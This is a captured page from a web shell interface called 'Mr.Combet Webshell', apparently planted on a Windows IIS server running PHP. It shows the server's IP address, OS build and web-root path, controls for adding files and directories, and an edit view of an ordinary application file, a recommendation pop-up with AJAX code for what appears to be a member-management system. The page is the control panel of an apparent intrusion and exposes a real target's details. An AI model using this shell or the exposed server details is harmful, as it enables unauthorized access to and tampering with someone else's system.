Mr.Combet Webshell
Your IP :
216.73.216.136
Server IP :
103.233.58.157
Server :
Windows NT WIN-4PGF72KEHKB 10.0 build 17763 (Windows Server 2016) AMD64
Server Software :
Microsoft-IIS/10.0
PHP Version :
7.3.25
Add File :
Submit
Add Directory :
Submit
Dir :
C:
/
inetpub
/
wwwroot
/
map
/
Views
/
Baseline
/
Edit File Name :
_RecommendationPopUp.cshtml
<div class="modal inmodal" id="recommendModel" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content animated fadeIn"> <div class="modal-header" style="padding:8px"> <strong>Are you sure you want to Recommend this to Edf ?</strong> <button type="button" class="close" data-dismiss="modal"><span aria-hidden="true">×</span><span class="sr-only">Close</span></button> </div> <div class="modal-body"> <p> <div class="row"> <div class="form-group col-md-12"> <input type="hidden" id="RowIdInPopUp" name="PrimaryKey" /> <input type="hidden" id="TableName" name="TableName" /> <label for="title" style="display:block"><strong>Remarks :</strong> </label> <textarea rows="4" style="width:100%;resize:none" name="Remarks" id="RemarksInPopUp"></textarea> </div> </div> </p> </div> <div class="modal-footer"> <button type="button" class="btn btn-white" data-dismiss="modal">Close</button> <a href="#" onclick="postRecommendFamilyDetails()" id="ApproveBtn" class="btn btn-success"><i class="fa fa-check"></i> Recommend</a> </div> </div> </div> </div> <script> function postRecommendFamilyDetails() { WorkForce.loader.show(); let conf = confirm(`Are you sure you want to Recommend this Member?`); if (!conf) { return; } else { var ajax = requestForRecommend(); ajax.done(function (response) { WorkForce.loader.hide(); if (response) { $('#RemarksInPopUp').val(''); ShowMessage("success", "This group has been Recommendation"); $('#recommendModel').modal('hide'); } else {//No. of member created should be equal to No. of beneficiaries ShowMessage("error", "Unable to Recommend Currently."); } }); ajax.fail(function (xhr) { WorkForce.loader.hide(); ShowMessage("Error", xhr.responseText); }); } } function requestForRecommend() { var farmerMemberId = document.getElementById('RowIdInPopUp').value; var remarks = document.getElementById('RemarksInPopUp').value; var tableName = document.getElementById('TableName').value; const url = "/recommend/family_member/to_edf/from_mne"; const data = JSON.stringify({ "Remarks": remarks,"PrimaryKey":farmerMemberId, "TblName": tableName ,'GroupId':'@Model.MemberDetailView.GroupId','MemberId':@Model.MemberDetailView.Id}); return window.getAjaxRequest(url, "POST", data); } </script>
Save